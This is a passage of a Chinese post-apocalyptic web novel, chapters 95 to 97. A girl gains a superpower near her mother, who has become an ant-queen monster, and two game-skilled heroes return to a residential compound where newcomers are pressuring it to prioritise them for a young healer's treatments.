于檬略有些迷茫地抬头看着这巨大的蚁穴，一边有些震惊它们建造出来的蚁穴居然如此精致，一边莫名闪过了一个念头，她之后就也要住在这里了吗…… “到了。” 江朗轻声提示于檬。 “你看看这是不是你母亲？” 于檬感觉自己的双脚似乎被灌了铅一般，双耳更是什么都听不到，只能在一片轰鸣中捕捉到江朗说出的几个字眼。 她艰难地抬起腿，然后，她看见了她妈妈的脸。 第95章 第 95 章 这还是我们小区吗（上）…… “轰隆隆——轰隆隆——” 于檬看见了她妈妈, 也就意味着长着人面的蚁后也看见了她。 一瞬间，整座山都轰鸣了起来，这本来就约等于中空的山瞬间有种地动山摇之势, 陆燃皱了皱眉，有些担心这位蚁后会不会直接把山搞塌了。 幸好, 对方爱女心切, 在第一波泥土落在于檬的头发上之后，这来势凶猛的轰鸣就瞬间停住了。 陆燃和江朗其实很想转过身去给这母女俩一点团聚的时间，而且他们真的很不擅长围观这种当事人泪如雨下的场面，总有种眼睛不知道该往哪看的感觉……但是考虑到其中之一是污染物, 他们就只能杵在原地继续当电灯泡。 不过至少可以确定了, 这位真的是于檬的妈妈, 这动静比什么语言都好使。 给了她们一点团聚时间后, 陆燃和江朗对视一眼，最后还是陆燃走了出来做这个破坏氛围的恶人： “于檬, 既然已经确认了, 那我们就该回去了，等你成功移植了异能之后, 想和你妈妈相处多久都可以。” 于檬连忙用袖口擦了擦脸, 然后抬起头，依依不舍地又看了长着人面的蚁后一眼, 然后转过头来：“嗯……嗯, 我明白的。” 于檬一向乖巧早熟听劝, 陆燃和江朗对此心中有数, 要不然也不会提前带她来见这个大概率是她妈妈转化而来的污染物了。 但是他们忘记了这里还有听不懂人话的另一方。 陆燃和江朗刚要带着于檬离开，原本始终毫无攻击意图的蚁后突然快速振翅，腹部的刮器也迅捷高频地移动了起来, 发出了近乎尖锐刺耳的声音，随后她猛烈地朝陆燃和江朗扑了过来，试图攻击这两个要带走她女儿的人！ 陆燃条件反射地放了个精神链接，将她定在了原地。 但是蚂蚁是集群意识，所以他只控制住了蚁后和她周围的蚂蚁而已，刚刚好不容易停下震动与轰鸣的整座山又轰鸣了起来。 陆燃：“……” 他快速思考了一下。 于檬应该只在乎她妈妈活着就好，所以他们就算把这座山上剩下的蚂蚁全清了也无所谓，但是以蚁后对于檬的执念，估计就算她的全部工蚁都死了，也会执着地追上来。 带着一只污染物回小区不是很好，他还得时时刻刻控制对方，因为对方大概率会把他当成拐跑她女儿的坏人。 而且原本他们的打算是留着这一山的蚂蚁的，毕竟于檬能操纵蚁后的话，就相当于能操纵这一整座山的蚂蚁，而且大概率只算操纵了一个精神体，对她来说是不错的自保手段，这时候全给清了，很不划算。 陆燃叹了口气，拍了下于檬的肩：“算了，我们先不离开了，等到时间了带污染物和陈嘉佳过来吧。” 于檬惊喜地抬起头：“真的吗？！” 江朗放开手里捏着的技能，苦笑了一下：“不然呢，你看你妈是愿意放我们离开的样子吗？” 他拍了下自己的脑袋，失算了，陆燃没想到蚁后会不肯放于檬离开是正常的，陆燃对亲情和执念这些东西一贯没概念，怎么他也没想，一定是刚刚一片兵荒马乱中他的智商飞走了…… “夺回了”于檬的蚁后对自己刚刚被控制的情况好像就完全无视了，她再也没看陆燃他们这个方向一眼，细长的肢节小心翼翼地在于檬面前几厘米处划过，像是在抚摸她的脸庞。 陆燃和江朗走出蚁后的巢穴，观察了一下附近的地势，找了个地势比较平的地方开始安营扎寨。 离开小区前他们去问了一下陈嘉佳，她感觉自己大概需要多少时间恢复到能够治疗一个被污染的人的程度。 而陈嘉佳给出的回复是大约一个月，因为她刚治疗了一个意外被污染的人。 也就是说他们还得在这地下蚁穴里住上一个月。 也行吧，和末世前窝在没有太阳光的房间里其实也没什么区别。 事实上，过了没几天后，陆燃和江朗就放松了警惕，虽然不知道这位蚁后怎么做到的，但是她真的把自己的攻击欲克制得很好，陆燃和江朗原本时时刻刻准备着从她手中救走于檬，过了两天之后就该干嘛干嘛去了，观鸟的观鸟，看猪的看猪。 他们原本还想让于檬考虑一下如果她最后没获得异能，还要不要留在这里的，当时他们还觉得于檬得在亲情和人身安全之间做个艰难抉择，现在看来这抉择也没那么艰难。 转瞬间，一个月过去，江朗开车回小区载陈嘉佳过来，陆燃留在原地，既是为了防止意外，也是因为他懒得动。 江朗“突突突”地开着他那辆越野回了Q市，开进了小区。 然后他感觉……嗯？怎么多了这么多没见过的人呢？ 他一脸迷茫地从车上跳了下来。 随手抓住路过的小云： “小云，是我突发脸盲了还是我们小区真的多了很多人？” 被他抓住手臂的小云正在啃葱油饼：“不是你脸盲了，江哥，我们小区现在可火了。” 江朗：“？” 小云颇有些兴奋地说：“不知道他们都是从哪知道的小陈医生可以治疗被污染的普通人，所以我们小区最近几乎每天都有好几个异能者入住，什么异能的都有，都特别厉害！还有个冰系异能者呢！现在小区地下车库就约等于大冰柜了！” 江朗：“？” 他下意识觉得有点危险：“他们……没有强迫陈嘉佳给他们治疗吧？” 小云摇摇头：“当然没有，都恨不得把小陈医生供起来呢，更何况有张老师在，谁能强迫小陈医生？” “而且你看，张老师特意写明白了的——” 江朗顺着小云指的方向看去，哦是那张小区规则表，上面多出了一行红色的大字： “治疗污染一月一次，请大家平时谨慎行事，如果被污染了但是医生还没恢复治愈能力，生死自负。” 生死自负四个大字被张老师写得又大又显眼。 江朗看着那一行字，觉得张老师应该是和他想一块去了，他们不怕有人强迫陈嘉佳给他们治疗，那样肯定会引起众怒，怕就怕有人利用陈嘉佳的同情心，先主动让自己被污染，然后让陈嘉佳顶着还没恢复的身体给人治疗，别说，以陈嘉佳的性格，很大概率会做出这样损己利人的事。 幸好问了一下小云之后发现，张老师这行醒目的红色大字的确起到了应有的作用，会千里迢迢赶来他们海岸小区的，大部分都对自己带来的普通人非常珍视，肯定不会拿他们的生命开玩笑。 江朗稍微松了口气，就去102把陈嘉佳带走了. 陈嘉佳难得出小区，好奇地趴在车窗上，努力地将一切能看见的景色都记住。 江朗担心地朝后视镜看了一眼：“嘉佳，不冷吗？后座上有外套和帽子。” 他看着陈嘉佳整个被吹飞起来的头发，下意识放缓了一些车速。 陈嘉佳摇了摇头：“不冷，我现在身体好很多了。” 不过她还是体贴地带上了那顶毛线帽，权当让江朗开车开得放心点了。 江朗也确实放心多了，又重新加快了速度。 “于檬的妈妈……真的变成污染物了吗？” 虽然已经大致知道了情况，但是陈嘉佳还是忍不住问道。 江朗“嗯”了一声：“是的，还是挺厉害的污染物，管着一整座山头的蚂蚁呢，山上其他动物好像也归她管，虽然陆燃说不一定是她操控了那些动物，暂时还没法确定这些动物是什么情况。” 陈嘉佳感慨道：“好厉害。” 江朗：“我也觉得好厉害。” 陈嘉佳摇了摇头：“我是说，变成污染物了还能想着来找于檬，好厉害。” 江朗顿了一下：“是啊……很厉害……” 他小心翼翼地没有在这个话题上发散开去，生怕勾起陈嘉佳的伤心事，幸好陈嘉佳的注意力很快就被车外的景象吸引过去了。 “咦？这个公园我小时候常来的，没想到还在，不过好像也变了很多。” 江朗放慢了车速：“你想去玩吗？” 陈嘉佳摇了摇头：“没有，只是看见了就忍不住说一下，我以前很喜欢玩双杠，所以常来，不过现在估计没小时候那么灵活了。” 江朗：“没准呢，回来的时候反正闲着也是闲着，也可以来公园里逛逛。” 陈嘉佳犹豫了一下，最后还是没忍住说：“好啊。” 这一整段路程很快就在江朗和陈嘉佳的闲扯之中过去了，江朗停下车，陈嘉佳自觉地摘下帽子跳下车。 然后她愣了一下。 因为她看见了陆燃站在山脚下等他们。 倒不是说陆燃本人让她愣了一下。 主要是他手里拎着一只……呃？那是麻雀吗？也太大只了…… 陆燃拎着那只麻雀的姿势让她莫名想起了小时候外公外婆拎鸡的手法。 而他手下那只麻雀时不时扑腾一下试图表示自己还没认命，但大部分时间又扑腾不动的样子……也很有既视感。 “你们来了。” 陆燃点点头，好像没觉得他手里拎着只污染物是件很奇怪的事，看见陈嘉佳一直盯着他手里的麻雀，就给她介绍了一下：“这只就是一会儿要给于檬接种的污染物，我们盯了它一个多月了。” 陈嘉佳喃喃：“好的……” 她好奇地看向周围，这座山的环境保持得很好，大概是因为于檬的妈妈不允许污染物互相攻击的理由吧，不论是植物污染物还是动物污染物，都留存了很多，植物污染物安安静静地生长着，动物污染物……大部分都在睡觉。 很快，陈嘉佳在陆燃和江朗的带领下来到了那个熟悉的坑口前，为了迎接陈嘉佳的到来，陆燃已经提前把洞撬开了，其实如果蚁后还保留着任何一点和人交流的能力的话，他都会很想建议对方——让你的工蚁们放过这个洞吧。 江朗先跳进洞里，接应陈嘉佳，然后是抓着麻雀的陆燃。 陈嘉佳还没见过这么大的蚁穴，好奇地东张西望着： “以后于檬就要住在这里了吗？” “嗯……差不多吧。” “那她要经常出去晒晒太阳呀。” “你待会儿可以提醒她一下。” “好哦。” 一回生，二回熟，更何况这已经是陆燃和江朗不知道第几次走这条路了。 “陈嘉佳！” 陈嘉佳下意识抬头，向上，再向上，她看见了声音的来处，那个巨大的巢穴上，于檬正一脸兴奋地朝她挥着手。 她也兴奋地挥了回去，就好像她们俩只是两个出门郊游的学生一样。 陈嘉佳手脚并用地爬上那巨大的巢穴，然后和于檬汇合了。 “江哥！陆哥！” 江朗朝她挥挥手，顺手放下一堆从小区里捎来的自热火锅自热米饭之类的。 陆燃习惯性地挥挥右手，听见麻雀的惨叫声才意识到自己右手上有东西，不过挥都挥了，他就还是认真地完成了挥手这个动作。 然后他认真看向于檬：“我们现在开始？” 于檬紧张地点了点头：“拜托了，谢谢陆哥江哥，谢谢嘉佳……谢谢你们。” 江朗和陈嘉佳说着“没关系”的功夫，陆燃已经带着那只超大型麻雀走到了于檬身边。 然后按着它的脑袋往于檬手上靠。 麻雀一开始还没反应过来。 它今天莫名其妙就被这个人类抓住了，抓住了它之后他还不攻击，就这样一直拽着它的脖子这样走来走去。 它是个很识时务的污染物，除了时不时就试图挣扎着逃跑以外，没有表露过任何攻击意向，它的本能告诉它，它敢攻击它就死定了。 所以它现在都没反应过来自己要做什么，哪怕嘴下就是一个无法反击的普通人。 陆燃：“……” 闭眼等了半天也没等到攻击的于檬忍不住睁开眼：“……” 污染物太识时务了怎么办。 江朗走了过来，试图开始和这只麻雀沟通。 他弯下腰，作势在于檬手臂旁虚空咬了一口：“懂了吗？你就这样咬她一口。” 陆燃：……有点像幼教。 不过麻雀好像真懂了，它颤颤巍巍地伸长脑袋，小心翼翼地将喙靠近于檬伸出来的手边，然后看见其他几人都虎视眈眈地看着它但没有任何想要阻止的意向时，它再次确认了自己的任务，于是抬起头，啄—— “轰隆隆——” 蚁后从巢穴中飞了出来，工蚁们放下了自己手边的所有事物，所有蚂蚁都齐齐调转方向，诡异无声地看着麻雀的方向行进。 麻雀：“……！！！” 陆燃直接释放了一个超大范围能够覆盖整座山的精神连接，然后拍了下麻雀的脑袋：“快点，你只有12秒。” 麻雀不知怎么的完全懂了陆燃的意思，光速地在于檬手臂上啄了一下。 于檬颤抖了一下。 那种感觉很奇怪，不光是受伤带来的疼痛，是一种自己身体内部的一部分被永久地改变了的感觉。 她有些晃神地看着其他人，陆燃……江朗……陈嘉佳……他们的脸还是他们的脸，但总觉得有哪里不一样了…… 左手上突然传来了冰凉的触感，她下意识地看了过去，看见陈嘉佳握住了她的手腕。 不知道为什么，于檬看着陈嘉佳的手臂，突然产生了一股严重的想要吞噬的感受。 她感到自己在颤抖，不受控制地疯狂颤抖。 过了几秒她才反应过来，那是她在抗拒自己发自内心的攻击陈嘉佳的意图。 她突然想到，妈妈是每天都在抗拒这样的攻击性吗…… 然后她很快什么都想不了了，因为她的意识有些涣散。 她只能感受到自己的身体内部在被改变，在被疯狂地改变，有那么一瞬间，她失去了对“自我”的锚点。 她有些恐慌，她花了一些时间才意识到自己在恐慌什么，因为她先是花了一些时间想起来自己这是在做什么，哦，她是在试图获得异能，然后又隔了一段时间，她终于想明白了，她在恐慌获得异能后，她还是她吗？ 这个想法在此前从未在她的脑海中出现过，此刻却如此鲜明。 她带着这种毁灭般的恐慌坠入了无意识的深渊。 然后，重新醒来。 第96章 第 96 章 这还是我们小区吗（下）…… “于檬！于檬！你还好吗？！” 一片黑暗中, 于檬听见有人在喊她的名字，她努力地想要睁开眼，虽然不知道为什么, 她好像暂时忘记了睁眼这个动作该怎么做。 要怎么才能睁开眼……她思考着这个问题，慢但努力地抬起眼皮, 然后猛地直起了身。 因为现在这个场面有点太吓人了, 长着妈妈的脸的蚁后正在她身边，这倒很好，但是其他工蚁正在疯狂攻击陆燃三人。 陆燃比较淡定，他护着陈嘉佳, 周围的蚂蚁基本全都被他控制住了, 江朗就比较辛苦了, 蚂蚁们对他虽然造不成什么伤害, 但是还是前仆后继地朝他涌来，他不得不一边从自己身上扒拉下这些努力的工蚁, 一边努力唤醒于檬。 于檬扭头看向蚁后：“妈——你快让它们停下来！这些是我的朋友！他们是来帮我的！” 可惜, 不管她多希望她的妈妈并不是一个只剩下了执念的污染物，又不管她平时和蚁后的相处让她产生了多少妈妈还在的错觉, 蚁后都没有对这句话产生任何反应。 陆燃：“你获得异能了吗？试着控制她。” 于檬这才反应过来他们聚集在这里一开始是为了什么。 她紧张地尝试了一下, 她不知道自己有没有获得异能，也不知道该怎么使用, 她摊开手, 感觉自己像是个试图从空中提取超能力的中二病。 但是, 异能的效果就那么出现了。 她不知道自己做了什么, 只知道自己想要使用异能，然后她就隐隐约约感觉自己“连接”上了蚁后。 停止——她给出了她的命令。 然后包括蚁后在内的所有蚂蚁都停了下来。 撤退，离开他们。 原本聚集在江朗陆燃身边的蚂蚁们缓缓撤退, 而她下方传来的窸窸窣窣的声音更是表明在她看不见的地方，之前有着无数蚂蚁大军正在赶来。 她回头看了下，被那密密麻麻的场景搞得条件反射哆嗦了一下。 江朗松了口气，整了一下自己的头发，一边整理一边吐槽：“有点像小时候的噩梦成真，我小时候就经常梦到被巨大的蚂蚁追着跑。” 于檬松了口气，看来蚂蚁大军的攻势只是看着吓人，对江朗没造成什么实质性的伤害。 陆燃也收回了自己的控制技能，让他周围的蚂蚁自行撤退。 陆燃：“能感受到具体的异能吗？自己的，还有蚁后的。” 于檬有种很奇怪的感觉，就像陆燃好像随时会掏出纸笔来记录“实验数据”，不过她还是老老实实地感受了一下自己的异能是什么。 “嗯……大概就是直接能传达我的意愿，让对方照做吧，然后大致也能感受到对方会选择的执行路径？之类的？” “蚁后的异能……咦？蚁后的异能是催眠，她操纵其他蚂蚁的能力不是异能，纯粹就是族群自带，她对山上其他的动物用了异能，让它们陷入平静，也可以反过来让它们变得极具攻击性，不过她好像没用过，可能因为没有污染物闲得来地底攻击她。” “大致就是这样。” 陆燃“唔”了一声，点了点头：“可以，你自保应该没什么压力了，那我们就先回去了。” 于檬顿了一下，但还是扬起笑容：“……好，我送你们出去？” 陈嘉佳倒是颇有些不舍，她难得出来一趟，而且于檬本来就是小区里她为数不多的说得上话的同龄人，于是抓紧时间和于檬多聊了几句。 于檬陪着他们三人到了山脚下，心中突然涌现了一个强烈到不可忽视的想法，然后她整个人都被这个念头笼罩住了——之后她就要一直一个人生活在这里了。 或者说她一直知道，这是她自己选的不是吗？但是这个念头在此刻之前似乎都没有这么清晰过。 她下意识地想要挽留他们，但很快又意识到了自己的自己的下意识有多不合理，于是她只是挥了挥手：“那……再见了，江哥再见，陆哥再见，嘉佳再见。” 陆燃：“等一下。” 于檬困惑又有些开心地抬起了头，她有些开心，因为不管陆燃要她等一下什么，都意味着她还可以和大家再相处一会儿，有些困惑则是因为，陆燃不像是那种能注意到她的不舍心情的人。 陆燃确实没注意到于檬微妙的心情，他之所以让她等一下是因为—— “你们先在这里等等，给我十几分钟。” 江朗陈嘉佳和于檬一脸困惑地看着陆燃消失在了他们视野中。 于檬和陈嘉佳抓紧机会讲小话，江朗跟个望夫石一样翘首以盼，试图靠自己绝佳的视力在一大片一大片的山石和污染物中找到陆燃的身影。 可惜，就算他的视力大大进化，进行这种大海捞针一般的搜索依旧是人眼做不到的事。 不过十几分钟后，他确实第一个发现陆燃回来了。 他努力睁大眼，因为他总感觉陆燃好像拎了个什么东西回来。 虽然他看不太清楚。 两分钟后他看清楚了，不是他的错觉，陆燃确实拎了个什么东西回来——那只很懒很懒，懒到他们怀疑到底是不是污染物的猪。 江朗：“……” 于檬：“！” 陈嘉佳：“！” 于檬一脸迷茫地看着陆燃带回来的那只猪，不是很懂发生了什么。 陈嘉佳倒是很是欣喜，她蹲下身胡噜起了这只猪：“我外婆家以前就有这样一只猪。” 至于这只猪本猪，它很脆弱，很无助，完全不知道自己为什么就被带来了一群异能者里。 天哪，如果上天一定要亡它，能不能给它个痛快……它实在受不了这一天天的了…… 陆燃看向于檬：“这只猪……型污染物的异能是预测，应该很好用，我把它放你们这座山上了，也算是一个助力，你的安全系数会高一点。” 于檬感动坏了：“谢谢陆哥……” 陆燃不太习惯这种眼泪汪汪的场面，就直接打断了施法：“嗯，我们先回去了。” 于檬：“好，再见。” 江朗摸了摸于檬的脑袋，安慰她：“我们有空会来看你的。” 于檬：“好。” 然后江朗就开着车载着陆燃和陈嘉佳回小区了，天色也暗了，陈嘉佳虽然觉醒了异能，但是身体还没恢复，所以每天需要很长一段休息时间，再不开回去就赶不上她的睡觉时间了。 几小时后，江朗终于把车开回了小区。 他决定之后几天他和陆燃也要休息一下，开几个小时车和坐几个小时车都很累人！ 他跳下车，打开车后门，陆燃指了指身边已经睡着的陈嘉佳，江朗小心翼翼地从后备箱掏出一副担架，心中庆幸，幸好他和陆燃常备担架准备救援的，正好还能送陈嘉佳回去睡觉。 两个人把陈嘉佳往担架上搬的时候，车旁突然响起了一个不可一世的声音： “你们俩就是这个小区的原最强异能者？” 陆燃，江朗：“？” 他们回头看去，看见了一个年纪最多绝对不会超过16岁的少年，游戏装备直接露在外面，也没遮掩一下，明显是个织灵者。 陆燃很无语地看向江朗，虽然他一句话都没说，但是江朗知道他想说什么——不是说好的《神域》是中老年人游戏呢？怎么现实里见到的全是中二初中生？ 江朗也有点滴汗，不知道这位是想来干嘛的。 那少年见他们没说话，更是扬起了头：“那是以前了，这小区的人以前不知道你们的异能是游戏技能才会这么崇拜你们，现在有我这种真正的高玩，你们就等着退位吧！” 陆燃，江朗：……他们什么时候上位过？ 陆燃看了他一眼：“你想说什么？” 平心而论，陆燃没有任何轻蔑的意思，只是他语气冷淡，长相更冷淡，平时正常地看人的时候都会平白让人觉得自己被鄙视了，更何况他现在确实有些不耐烦。 于是这个中二少年瞬间就跟被踩了尾巴的猫一样炸了起来： “我想说什么？！我想说的就是，以后你们不能再仗着自己是最强者享受特权了！” “明明所有人都在等这个月的治疗名额，你们也不说一声就直接把名额抢了？凭什么？不就是凭你们以前最厉害吗？” “但是现在你们不是了懂不懂！来，战斗！决出个高下来！” 陆燃，江朗：“……” 陆燃缓慢地露出了一个费解的神色，他打算回去再问问江朗海岸小区什么时候来的这么个神人。 现在就算了，他抬起担架一端，示意江朗跟他一块。 于是两个人无视这个激动的中二少年往102去了。 “喂！喂！听见没！战斗！分出个胜负！你们输了就不许占着最好的资源！” “心灵——！” 陆燃眼神一冷，直接在他喊完前一个心灵震荡扔了过去，让他的招式喊话停在了一半——说到底，为什么会有人非要把一个瞬发技能的名字喊出来呢？ 那中二少年懵了一下，心中有些暗恼——忘记这是同门内斗了！想耍帅喊技能也不能当着另一个织灵者的面喊啊！ 没事没事，只是失了先机而已……他虽然被控了一下，但是至少留下了一个心灵震荡，对方的控制技能应该就剩一个精神链接了，熬两秒等他放精神链接！ 精神链接果然如他所料后发而至，但随着精神链接一块出现的还有一道黑圈。 中二少年：“！！！” 搞毛线！这秘术师会不会打PVP啊！不知道伤害技能会让精神链接失效吗？！ 虽然失误的敌方秘术师，但是这种被猪队友拖累的感觉每个织灵者都能共情，他一时间替对手生气了起来。 直到那道黑圈和精神链接前后脚落在了他身上，替他解掉了精神链接的同时也下了他几乎九成的血条。 他瞬间瞳孔地震。 “卧槽！” “卧槽哥们你这什么伤害？？？” 他吓得一个大后撤步，把后撤和二段跳全用了，疯狂地将挪出了秘术师的攻击范围。 江朗也学他说话：“哥们，我纯PVE选手，基本都是伤害装。” 中二少年立刻举起双手：“投降喵。” 陆燃，江朗：……这人怎么还卖萌？ 中二少年：“我有眼不识泰山，你们俩就是最强的，我认输，我认输，我去排下个月的名额，您们走好。” 说着他就一溜烟地跑不见了。 陆燃和江朗齐齐无语了一下，端着担架进了102，把陈嘉佳安置好，他们就回自己的房间去休息了，今天还真是漫长的一天。 路上陆燃还不忘问江朗海岸小区什么时候来的这么一个人。 江朗叹了口气：“估计还不止，我今天回来的时候，小云跟我说，陈嘉佳的异能不知道为什么传出去了，周边很多异能者都陆续赶了过来，一般都是有想要变为异能者的普通人亲人或者朋友之类的，所以小区里现在多了非常多人。” 陆燃皱起眉头。 江朗看他皱眉就知道他在想什么：“唉，是的，好麻烦。” “嗯。” 两人回到自己的房间后就睡下了。 第二天天亮的时候，两人准点起床吃早饭，然后准备下楼去出门巡逻。 但他们刚走到楼下，手里的手抓饼都还没来得及吃完，就撞上了一个很不眼熟的人。 那是一个中年男人，保养得挺好，脸上挂着笑容，手里还拎着个小盒子。 “两位。” 他见陆燃和江朗出现，便走到了他们面前。 陆燃和江朗于是停住了脚步——海岸小区是老式楼，楼梯非常窄，被堵住之后基本是过不去了。 “两位，昨天小辰多有冒犯，那孩子一向冲动且有点……呵呵，眼高于顶，我们劝过他不要来打扰两位，没想到他还是冲动了。” “所以我是来替他赔罪的，一点小小的诚意。” 说着，他递出了自己手中的那个小盒子。 陆燃定定地看着他。 不伸手也不说话，就那么看着他，将近十秒过去，中年男人脸上的笑容就有点挂不住了。 江朗没陆燃那么喜怒不形于色，他脸上的表情有点一言难尽。 他虽然没那么聪明，但实在也没那么蠢，听他的话，用脚想也知道昨天那个中二少年是被他激来或者是暗示来和他们争斗试探他们的实力的。 本来他们还不知道的，结果这个人上赶着自爆。 他到底是觉得自己的演技和话术能骗过谁？ 江朗深深地觉得他和陆燃的智商被侮辱了。 又十秒，中年男人脸上的笑容彻底挂不住了，陆燃才开口：“麻烦让让，我们要出门巡逻了，礼物就算了，我们什么都不缺。” 中年男人努力重新挂回笑容，给他们让开道路。 看着陆燃和江朗目不斜视地走过他后，他脸上的笑容瞬间塌了下来，紧随着两人背影的双眼中闪过几丝愤怒与不满。 陆燃和江朗照常上车，江朗刚准备开车，陆燃突然按住了他：“等下，先开去地下车库，打包一些物资走。” 江朗点了点头，他很清楚陆燃这是不耐烦了。 陆燃一向最烦没事找事的人，而海岸小区现在没事找事的人显然太多，和之前那个安稳平静的小区不是一回事了，之后只会越来越麻烦，他大概短期内是不想回来了。 正好他们原本来Q市的计划也是以Q市为中心去寻找高阶污染物，现在海岸小区多了那么多异能者，不太可能再遇到危险，他们也可以去实施一下这个原本的计划了。 于是他点点头，应了声“好”，朝地下车库开去。 第97章 第 97 章 离开吧 江朗开着越野车突突突地离开了Q市。 在前去陌生的荒郊野岭扫荡前, 他先一个大转弯，开上了熟悉的线路。 嗯，先去给于檬送点物资吧。 陆燃靠在车窗上, 显然也无所谓江朗往哪里开，隔了半小时才意识到这是往于檬那座山开, 也挺好, 昨天江朗不是答应了要常来看看这个女孩子吗，正好。 江朗就这么突突突地开回了昨天出发的地方。 “于檬——我们来看你啦——” 熟门熟路地撬开地面走进蚁穴后前往蚁后巢穴后，江朗开始喊。 正在蚁后巢穴里熟悉自己异能的于檬一懵。 她没听错吧？她是不是听到了江哥的声音？ 她怀疑自己幻听了，但还是狐疑地走出巢穴, 然后真的看见了下方的陆燃和江朗两个人。 江朗正一脸兴奋地朝她挥着手, 陆燃站在江朗旁边, 依旧一脸淡然。 她有点呆滞地也挥了挥手。 于檬有点懵, 虽说江朗说了他们会经常来看她，但是这也太“经常”了吧, 他们不是昨天才回去吗？？ 她还以为最快见到他们也要到一周后了…… 江朗兴致勃勃地爬了上来, 然后放下一堆食物。 “我们来给你带吃的来了。” 于檬终于没忍住：“江哥你难道不是昨天刚带了吃的来吗……” 江朗笑了一下。 陆燃姗姗来迟，在他身后冒了出来：“陈嘉佳的消息传出了小区。” 于檬瞬间从这一句话中猜出了小区的现状, 好吧, 那就能解释为什么陆燃和江朗这么快就又来了，估计是不想待在小区, 就顺便来看她吧。 “那陆哥你们之后打算去哪？” “我和陆燃一开始来Q市其实就是想扫荡一下周边的高级污染物, 但是来了之后基本还没干过这件事, 正好现在有时间。” 于檬恍然大悟：“原来如此。” 给于檬送完食物后, 江朗和陆燃就正式迈上了他们的扫荡之路。 两个人似乎又回到了当初在C市平推的日子，无脑地用着精神链接和湮灭之环，甚至效率比在C市还要高得多, 毕竟C市他们还会时不时撞上几个幸存者，而Q市周围这片连绵的荒山野岭，能看见活人算他们输。 日子就这样一天一天过去，野外的生活虽然不太方便但也还好，虽然时间久了还是会想回去在床上房间里好好睡一觉。 就在江朗稍微有些犹豫要不要回小区休整一两天的时候，一只千纸鹤出现在了他的陆燃面前。 陆燃抬起头，他和江朗神色都有些严肃。 现在只有四个人有他们的纸鹤，小区保安，张老师，于檬，还有刘雅。 不管是哪边出了事，都很麻烦。 那只纸鹤中开始传出声音，但不是这四个人任何一人的声音。 先是一些轻微的嘈杂杂音，然后一个陌生的男声响了起来，声音很远，很显然不是对着纸鹤在说话，但也够他们听清楚他在说什么了。 “……异能者就是该有更好的待遇，大家说对不对？” “小陈医生的治疗能力就是该优先给战斗者，大家说对不对？” “对！”“对！”“对！” 只这么一句，陆燃和江朗就皱起了眉。 江朗一脸烦躁地骂了句“草”，然后启动车子发动机，风驰电掣地朝Q市开了回去。 哪怕出来之前就想过海岸小区会往什么方向演变，但是真正听到这些话，还是有种自己家被外来者占据了还说这是他们家要按他们的喜好摆放家具的烦躁感. Q市，海岸小区。 “张老师，您考虑得怎么样了，我们很尊重您，但是不是我说，你治理这个小区的方式实在不是什么长久之计。” “妇人之仁要不得啊，现在可不是末世以前了，就算是末世以前，你管一个区，也总要考虑人才引进问题吧？” “你想想，如果之前不是我们这些异能者挡住了那些突然冒出来的污染物的攻击，现在小区会是什么样呢？” “我们保护小区是发自内心的，但小区也不能让我们寒了心吧？” “更何况小区的物资虽然现在看起来多，但早晚有一天会用完的，那时候我们不还要去和那些大基地交换物资，那交换用的东西是什么呢？肯定是晶体，到时候还不是要我们这些异能者辛辛苦苦去打晶体？” “张老师，我们又不是要什么特殊待遇，我们唯一想要的，不过就是保证在小陈医生这里的治疗优先级而已。” “我们知道小陈医生出手消耗很大，所以我们难道不是更应该好好规划小陈医生的异能吗？” “用实力排队不就是最合理最简单的选择吗？不然小区凭什么留住强大的异能者呢？” 张老师紧皱着眉，她一人站在一群人面前，这群人身后则是大量的小区居民。 这些人的确是有备而来，提前做了大量说服工作，小区不少明明并非异能者的人，都很赞同他们的论调，似乎是担心如果小区留不住异能者，以后遇到大型污染物入侵就会死伤惨重。 不过……更有可能的原因是因为他们觉得自己也有机会变为异能者吧。 她锐利的视线扫过前排这些聚集起来的异能者。 他们一时间顿了一下，但很快又觉得无所谓，这么久了，他们早就摸清了张老师的性格，更何况，如果她真想攻击他们的话，他们上一次提待遇问题的时候，她就该攻击了。 愤怒是一个很难长期保持的情绪，如果她在气头上的时候没攻击，没道理现在已经冷静下来之后反而会出手。 更何况，她要是出手的话，他们也就有反击的理由了，他们这边可是几十个人。 “张老师，怎么样呢？你是不是考虑得也太久了，说好的你想想就给我们答复呢？难不成是拖延时间吗？” 张老师定定地看着这些人，目光突然从他们身上移开了，他们一愣，下意识地跟随着她的视线看去，但回头看也只看见了一片空白的天空而已。 他们暗啐了一声，重新将目光移到张老师，还有被她牵在手里的陈嘉佳身上。 陈嘉佳似乎在发呆，她从始至终一句话也没有说，只是张老师牵着她，她就在这而已。 他们有些微妙地烦躁起来，如果张老师有什么话要说，他们可以反驳，但是这一句话不说是什么意思？ 领头的男人正要开口，再进行施压，而就在那一刻—— 一片彻底的静默笼罩了整个海岸小区。 包括异能者们，包括小区居民们，也包括一脸平静的张老师和陈嘉佳，所有人，在那一刻，都静止了。 众人眼中瞬间闪过惊恐与疑惧，恐慌爬上了心头，他们没那么怕被攻击，但是这种无来由但又不可抵抗的攻击！！简直宛如天灾！ 唯有张老师眼中浮现起了一丝笑意。 她大可以强势点压制住这些人，但那是治标不治本的做法。 唉……她当初确实把人想得太简单了。 一片静默中，唯有那个织灵者中二少年下意识地用掉了自己的解控技能。 然后他顿了一下，假装自己没解控，作为同门，他当然知道这技能是谁发出来的，而那天晚上他已经吃够苦头了，他可不想这次血线直接被人削到零。 于是他艰辛地维持着一动不动的呆滞姿势…… 九秒……十秒……十一秒……好了……马上就能动了……唉，装自己被控制比真被控制还难受啊…… 十二秒。 他正要松口气，准备活动一下肩膀，他又动不了了。 中二织灵者：…… 什么玩意儿，没伤害啊，不是心灵震荡，那个织灵者都点了些什么奇葩技能！ 被连控了十几秒后他的眼神逐渐呆滞。 而这十几秒也够陆燃和江朗走到他们面前了。 陆燃收起技能，露出一个嘲讽的微笑： “好好规划陈嘉佳的能力？” “那你们有没有想过陈嘉佳如果不愿意被规划呢？” 他转身看向一脸走神的陈嘉佳，稍微放缓了些语气： “陈嘉佳，那时候你说想帮助大家，现在呢？你还想留在海岸小区吗？” 陈嘉佳略带迷茫地抬起头。 其实从很多天起，她就没什么想法，她一直知道她想救人的话，就一定会救到坏人，她和张老师的想法应该是非常类似的，人好和坏是救完人之后才需要去判断的事，而且她被人叫一声小陈医生，那她就按照医生的标准要求自己吧。 所以对这些天陆续发生的事，该怎么说呢……不是厌恶，也不是生气，她只是有点……很轻微的烦躁而已。 她无意识地抬着头，似乎在思考陆燃的问题，也似乎没有。 直到张老师看向了她：“嘉佳，跟陆燃江朗他们离开吧。” 